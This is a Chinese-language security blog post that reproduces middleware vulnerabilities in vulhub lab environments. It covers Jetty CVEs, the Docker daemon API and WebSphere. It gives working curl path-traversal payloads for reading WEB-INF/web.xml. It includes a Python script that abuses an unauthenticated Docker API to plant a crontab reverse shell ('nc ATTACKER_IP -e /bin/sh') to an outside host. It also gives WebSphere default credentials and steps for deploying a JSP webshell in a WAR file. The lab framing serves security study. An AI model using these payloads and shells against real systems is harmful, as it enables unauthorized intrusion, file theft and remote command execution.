中间件安全-CVE 复现K8sDockerJettyWebsphere漏洞复现

news2024/9/23 19:27:32

目录

  • 服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere
    • 中间件-K8s
    • 中间件-Jetty
      • 漏洞复现
        • CVE-2021-28164-路径信息泄露漏洞
        • CVE-2021-28169双重解码信息泄露漏洞
        • CVE-2021-34429路径信息泄露漏洞
    • 中间件-Docker
      • 漏洞复现
        • 守护程序 API 未经授权访问漏洞
    • 中间件-WebSphere
      • 漏洞复现
        • 反序列化CVE-2015-7450
        • 弱口令 &&后台Getshell
        • CVE-2020-4450

服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere

中间件及框架列表：

IIS，Apache，Nginx，Tomcat，Docker，K8s，Weblogic，JBoos，WebSphere，Jenkins ，GlassFish，Jetty，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp，Spring，Flask，jQuery 等。

中间件所披露的问题：

中间件安全-IIS&Apache&Tomcat&Nginx漏洞复现

中间件安全-Weblogic&Jenkins&GlassFish漏洞复现

1、中间件-K8s 安全

2、中间件-Jetty 安全

3、中间件-Docker 安全

4、中间件-WebSphere 安全

常见中间件的安全测试：

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程：

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程：

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-K8s

介绍：kubernetes详解

中间件-K8s：

kubernetes 简称 k8s，是一个由 google 开源的，用于自动部署，扩展和管理容器化应用程序的开源系统。在 B 站内部，k8s 在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s，可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。

K8s相关安全问题以及漏洞复现参考文章：k8s对外攻击面总结_k8s漏洞

中间件-Jetty

介绍：

Elipse Jetty 是一个开源的 servlet 容器，它为基于 Java 的 Web 容器提供运行环境。Jetty是一个开源的HTTP服务器和Servlet引擎，它可以为JSP和Servlet提供运行时环境。相对于Tomcat，jetty更加轻量、更加简易、更加灵活。

安全问题：

CVE-2021-28164-路径信息泄露漏洞

CVE-2021-28169-双重解码信息泄露漏洞

CVE-2021-34429-路径信息泄露漏洞

漏洞复现

CVE-2021-28164-路径信息泄露漏洞

Jetty 版本 9.4.37 引入了有关 URI 解码的更精确的RFC3986实现，以及一些新的合规性模式，以选择性地允许支持某些在 Servlet 指定的 API 方法行为中可能具有模糊解释的 URI。默认模式允许 % 编码。要排除以进行 URI 规范化的字符，RFC 正确，但常见 Servlet 实现不假定。

默认合规性模式允许具有包含或分段的 URI 的请求访问 WEB-INF 目录中的受保护资源。例如，请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实现的敏感信息。

%2e %2e%2e /context/%2e/WEB-INF/web.xml

此错误已在版本 9.4.39 中修复。

靶场：vulhub

参考：CVE-2021-28164

image-20231025001534746

开启环境：

image-20231025000822983

访问：

image-20231025000903314

payload：
//访问敏感文件 Web.xml   /WEB-INF/web.xml
//用于绕过限制：%2e/
curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"

image-20231025001219204

image-20231025001239074

或使用burp抓包，发送请求或直接使用浏览器直接url请求

http://you-ip:8080/%2e/WEB-INF/web.xml
CVE-2021-28169双重解码信息泄露漏洞

介绍：

在版本 9.4.40、10.0.2、11.0.2 之前，Jetty Servlet 中的 and 类受到双重解码错误的影响。如果开发人员手动使用这两个类，攻击者可以使用它们下载 WEB-INF 目录中的任意敏感文件。
ConcatServlet WelcomeFilter

靶场：vulhub

参考：CVE-2021-28169 双重解码信息泄露漏洞

image-20231025001628520

开启环境：

image-20231025002027429

访问：

image-20231025002053079

payload：
//访问敏感文件 Web.xml。	/static?/WEB-INF/web.xml
//双 URL 编码以绕过限制：W
curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"

image-20231025002233668

image-20231025002300555

使用浏览器发送url请求或使用burp抓包修改数据包，发送请求也可以

http://you-ip:8080/static?/WEB-INF/web.xml
CVE-2021-34429路径信息泄露漏洞

介绍：

Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。

Jetty 9.4.40 修复了一个不明确的路径信息泄露漏洞 CVE-2021-28164，CVE-2021-34429 是它的变体和绕过。

有 3 种类型的有效负载会泄露以下内容： WEB-INF/web.xml

  • 基于 Unicode 的 URL 编码： /%u002e/WEB-INF/web.xml

  • \0有错误：. /.%00/WEB-INF/web.xml

  • \0有错误：.. /a/b/..%00/WEB-INF/web.xml

该漏洞影响码头 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。

靶场：vulhub

参考：CVE-2021-34429路径信息泄露漏洞

image-20231025002541374

开启环境：

image-20231025002631893

访问：

image-20231025002750348

payload：
//访问敏感文件 Web.xml。 /WEB-INF/web.xml
//使用有效负载绕过限制： /%u002e/WEB-INF/web.xml
curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"

image-20231025003130498

或直接使用浏览器url请求或使用burp抓包，发送请求/%u002e/WEB-INF/web.xml

GET /%u002e/WEB-INF/web.xml HTTP/1.1
...

image-20231025003034480

http://192.168.100.134:8080/%u002e/WEB-INF/web.xml

image-20231025003450893

此两种方式，以上的两种CVE漏洞也可以利用成功。

中间件-Docker

介绍：Docker详解

Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中，然后发布到任何流行的 Linux或Windows操作系统的机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口。

Docker 容器是使用沙盒机制，是单独的系统，理论上是很安全的，通过利用某种手段，再结合执行 POC 或 EXP，就可以返回一个宿主机的高权限 Shell，并拿到宿主机的
root 权限，可以直接操作宿主机文件。 它从容器中逃了出来，因此我们形象的称为Docker 逃逸漏洞。

//判断容器
1、容器判断：
-是否存在.dockerenv 文件
ls -alh /.dockerenv
-查询系统进程的 cgroup 信息：
cat /proc/1/cgroup

2、容器逃逸漏洞：权限提升
-由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
-由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271，CVE-2020-15257
-由配置不当引起——开启 privileged（特权模式）+宿主机目录挂载（文件挂载）、功能
（capabilities）机制、sock 通信方式-CVE-2016-5195

//工具地址：https://github.com/gebl/dirtycow-docker-vdso
上传到docker环境当中
进入目录执行make进行编译
执行生成的可执行文件即可

安全问题：

API 未经授权访问漏洞

…

漏洞复现

守护程序 API 未经授权访问漏洞

靶场：vulhub

参考：Docker守护程序 API 未经授权访问漏洞

image-20231025004516311

开启环境：

image-20231025124712711

漏洞利用：

//exp脚本，反弹shell
import docker

client = docker.DockerClient(base_url='http://you-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻击者IP 监听端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

执行脚本：

python docker-api.py

开启监听：

nc -lvvp 8888

等待反弹即可。

中间件-WebSphere

介绍：webSphere详解

WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。

WebSphere 是一个模块化的平台，基于业界支持的开放标准。可以通过受信任和持久的接口，将现有资产插入 WebSphere，可以继续扩展环境。WebSphere 可以在许多平台上运行，包括 Intel、Linux 和 z/OS。

安全问题：

反序列化CVE-2015-7450

弱口令 &&后台Getshell

CVE-2020-4450

…

漏洞复现

反序列化CVE-2015-7450

原理：

Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入，其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞，这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法，在最终类型检查之前执行Java函数或字节码（包括调用Runtime.exec()执行本地OS命令）。

复现：

反序列化漏洞发生位置在SOAP的通信端口8880，可使用https发送XML格式数据。

//拉取环境
docker pull iscrosales/websphere7
//开启环境
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

等待环境开启后，访问即可。如果访问8880端口，若出现如下界面，则可能存在Java反序列化漏洞。

image-20231025142403587

image-20231025145741137

漏洞利用：

可直接使用工具，梭哈一键利用，RCE以及上传等操作，输入url即可

image-20231025131550076

检测并执行过后：

image-20231025142623832

执行命令（RCE）：

image-20231025142653615

whoami，当前路径pwd

image-20231025143130409

弱口令 &&后台Getshell

弱口令：

在6.x至7.0版本，后台登陆只需要输入admin作为用户标识，无需密码，即可登陆后台。

访问9096端口服务：

//登录界面
//http://you-ip:9060/ibm/console/unsecureLogon.jsp
http://you-ip:9060/ibm/console
//默认账号密码：
websphere/websphere
system/manager

//进入后台
http://you-ip:9060/ibm/console/login.do

弱口令：

image-20231025150439234

成功进入后台：

image-20231025143506644

后台getshell：

1、点击WebSphere 企业应用程序，点击安装

2、创建jsp木马文件，压缩成zip文件，将zip更名为war后缀的文件，进行上传（上传war包，点击下一步）

3、填写上下文根，关系到你访问的URL

4、保存访问shell即可（回到WebSphere 企业应用程序，选中war包启动，访问shell）

http://you-ip:9080/shell.jsp

http://you-ip:9080/1/shell.jsp

通过哥斯拉进行连接，进行getshell即可。

操作流程如下：

1、点击WebSphere 企业应用程序，点击安装

image-20231025143548599

2、创建jsp木马文件，压缩成zip文件，将zip更名为war后缀的文件，进行上传（上传war包，点击下一步）

image-20231025143700208

上传，点击下一步：

image-20231025143758569

3、一路下一步，到填写上下根，填写即可；填写上下文根，关系到你访问的URL。

image-20231025143913317

等待安装：

image-20231025144010188

4、保存访问shell即可（回到WebSphere 企业应用程序，选中war包启动，访问shell）

安装完成后，保存配置：

保存主配置后，然后回到WebSphere 企业应用程序，选中war包启动，访问shell

image-20231025144058226

选中，点击start：

image-20231025144227115

成功：

image-20231025144310021

访问shell：

http://192.168.100.134:9080/shell.jsp

image-20231025144651487

http://192.168.100.134:9080/1/shell.jsp

image-20231025152040083

接下来通过哥斯拉进行连接：

成功连接：

image-20231025144712932

命令执行：

image-20231025145329677

具体详细复现过程可参考文章：

WebSphere漏洞复现

CVE-2020-4450

漏洞原理以及复现可参考：

WebSphere 远程代码执行漏洞CVE-2020-4450

CVE-2020-4450

其他中间件安全问题以及漏洞复现点击以下链接即可

跳转参考链接如下：

中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1134513.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

题目 1119: C语言训练-“水仙花数“问题1（python详解）——练气三层中期

题目 1119: C语言训练-“水仙花数“问题1（python详解）——练气三层中期

✨博主：命运之光 🦄专栏：算法修炼之练气篇（C\C版） 🍓专栏：算法修炼之筑基篇（C\C版） 🍒专栏：算法修炼之练气篇（Python版） ✨…
阅读更多...
微服务技术导学

微服务技术导学

文章目录 微服务结构认识微服务技术栈 微服务结构 技术： 解决异常定位： 持续集成，解决自动化的部署： 总结如下： 认识微服务 微服务演变： 技术栈 SpringCloud与SpringBoot版本对应关系
阅读更多...
c#调用webservice 示例

c#调用webservice 示例

一、添加webservice链接地址 链接地址如下 http://HM01:8000/sap/bc/srt/wsdl/flv_10002A111AD1/srvc_url/sap/bc/srt/scs/sap/zhrom00 2、 C#添加引用—添加服务引用(S)… 3、输入链接地址 –前往(G) 这样就引用成功了 4、调用webservice string REQNO "100220170…
阅读更多...
OpenCV官方教程中文版 —— 直方图均衡化

OpenCV官方教程中文版 —— 直方图均衡化

OpenCV官方教程中文版 —— 直方图均衡化 前言一、原理二、 OpenCV 中的直方图均衡化三、 CLAHE 有限对比适应性直方图均衡化 前言 本小节我们要学习直方图均衡化的概念，以及如何使用它来改善图片的对比。 一、原理 想象一下如果一副图像中的大多是像素点的像素值…
阅读更多...
竞赛 深度学习卫星遥感图像检测与识别 -opencv python 目标检测

竞赛 深度学习卫星遥感图像检测与识别 -opencv python 目标检测

文章目录 0 前言1 课题背景2 实现效果3 Yolov5算法4 数据处理和训练5 最后 0 前言 🔥 优质竞赛项目系列，今天要分享的是 🚩 **深度学习卫星遥感图像检测与识别 ** 该项目较为新颖，适合作为竞赛课题方向，学长非常推荐…
阅读更多...
如何处理单据保存/审核时提示:“更新即时库存时,基本单位数量与辅单位数量为一正一负,即时库存更新不成功

如何处理单据保存/审核时提示:“更新即时库存时,基本单位数量与辅单位数量为一正一负,即时库存更新不成功

文章目录 如何处理单据保存/审核时提示:“更新即时库存时,基本单位数量与辅单位数量为一正一负,即时库存更新不成功问题描述前提问题分析：解决方案 如何处理单据保存/审核时提示:“更新即时库存时,基本单位数量与辅单位数量为一正一负,即时库存更新不成功 问题描述…
阅读更多...
模拟输入信号保护方法，确保数据准确性和系统稳定性

模拟输入信号保护方法，确保数据准确性和系统稳定性

在各种电子系统中，模拟输入信号的处理和保护至关重要。 这些信号可能会受到各种干扰和噪声的影响，从而影响数据的准确性和系统的稳定性。为了应对这些问题，本文将介绍一些模拟输入信号的保护方法。 今天分享几种模拟输入信号保护电路的方法…
阅读更多...
npm改变npm缓存路径和改变环境变量

npm改变npm缓存路径和改变环境变量

在安装nodejs时，系统会自动安装在系统盘C， 时间久了经常会遇到C盘爆满，有时候出现红色，此时才发现很多时候是因为npm 缓存保存在C盘导致的，下面就介绍下如何改变npm缓存路径。 1、首先找到安装nodejs的路径&#xff0c…
阅读更多...
Elasticsearch：使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation （一）

Elasticsearch：使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation （一）

最近看了一个同事的几个视频。他总结的很好。在使用 LangChain 时，根据 LangChain 的官方文档 https://integrations.langchain.com/vectorstores，目前有三种方法可以进行使用：ElasticVectorSearch，ElasticsearchStore 及 Elastic…
阅读更多...
SpringCloudAlibaba实战-快速上手

SpringCloudAlibaba实战-快速上手

写在前面：在学习了很多理论知识后，虽然对理论知识有了个概念，但是搭建项目的配置步骤做的少，还是不熟，方便日后复习，在此记录一下。 一、创建父项目 1. 创建项目基础信息 1. 选择项目基础信息 服务器UR…
阅读更多...
【OpenCV实现图像的几何变换】

【OpenCV实现图像的几何变换】

文章目录 概要：OpenCV实现图像的几何变换、图像阈值和平滑图像变换小结 概要：OpenCV实现图像的几何变换、图像阈值和平滑图像 使用OpenCV库进行图像处理的三个重要主题：几何变换、图像阈值处理以及图像平滑。在几何变换部分，详细…
阅读更多...
第二章 基于模型的系统工程 P1｜系统建模语言SysML实用指南学习

第二章 基于模型的系统工程 P1｜系统建模语言SysML实用指南学习

仅供个人学习记录 基于文档与基于模型的方法对比 MBSE潜在优势 增进沟通： 团队与利益相关方共享对系统的理解从系统多个维度展示和集成视图的能力 降低开发风险： 持续需求确认与设计验证对系统开发做精确成本估计 提高质量： 更多的完整、…
阅读更多...
超级强大！送你几款Linux 下终极SSH客户端

超级强大！送你几款Linux 下终极SSH客户端

更多IT技术，请关注微信公众号:“运维之美” 超级强大！送你几款Linux 下终极SSH客户端 1.MobaXterm2.Xshell3.SecureCRT4.PuTTY5.FinalShell6.Termius7.WindTerm 安全外壳协议（Secure Shell，简称 SSH）是一种网络连接协议…
阅读更多...
服务器安装宝塔面板

服务器安装宝塔面板

参考官方文档 【教程贴】如何登录您的Linux云服务器并安装宝塔面板 - Linux面板 - 宝塔面板论坛 换言之： 下载 宝塔终端 使用ssh连接远程服务器 输入命令行安装 curl -sSO http://download.bt.cn/install/install_panel.sh && bash install_panel.sh 安…
阅读更多...
在 Python 中将 Unicode 转换为 ASCII

在 Python 中将 Unicode 转换为 ASCII

通过本文，我们将学习如何将 Unicode 编码为字节，了解系统编码的不同方法以及在 Python 中将 Unicode 转换为 ASCII。 在 Python 中将 Unicode 转换为 ASCII Python 3 字符串的基本问题是由字符组成的； Python 中没有字符类型，但它…
阅读更多...
数据清洗与规范化详解

数据清洗与规范化详解

数据处理流程，也称数据处理管道，是将原始数据转化为有意义的信息和知识的一系列操作步骤。它包括数据采集、清洗、转换、分析和可视化等环节，旨在提供有用的见解和决策支持。在数据可视化中数据处理是可视化展示前非常重要的一步，…
阅读更多...
搭建SNMP服务器

搭建SNMP服务器

要搭建SNMP服务器，您可以按照以下步骤进行操作： 选择合适的操作系统：您可以选择在Windows、Linux或其他操作系统上搭建SNMP服务器。不同的操作系统有不同的安装和配置方法。 安装SNMP软件：根据您选择的操作系统，安装相…
阅读更多...
AIGC扫盲和应用场景探究

AIGC扫盲和应用场景探究

什么是AIGC？ AIGC（Artificial Intelligence Generated Content）是指利用人工智能技术生成内容的能力。火爆的虚拟数字人，就是AIGC的典型代表，它可以通过学习大量数据和知识，生成与人类创作相似甚至超越人类…
阅读更多...
UG\NX二次开发 同时设置多个对象的高亮状态 UF_DISP_set_highlights

UG\NX二次开发 同时设置多个对象的高亮状态 UF_DISP_set_highlights

文章作者：里海 来源网站：王牌飞行员_里海_里海NX二次开发3000例,里海BlockUI专栏,C\C++-CSDN博客 感谢粉丝订阅 感谢 captainliubang 订阅本专栏，非常感谢。 简介 UG\NX二次开发 同时设置多个对象的高亮状态 UF_DISP_set_highlights 效果 代码（在for循环中逐个设置多个对象…
阅读更多...
数据结构零基础C语言版 严蔚敏-线性表、顺序表

数据结构零基础C语言版 严蔚敏-线性表、顺序表

二、顺序表和链表 1. 线性表 线性表（linear list）是n个具有相同特性的数据元素的有限序列。线性表是一种在实际中广泛使用的数据结构，常见的线性表：顺序表、链表、栈、队列、字符串...... 线性表在逻辑上是线性结构，…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023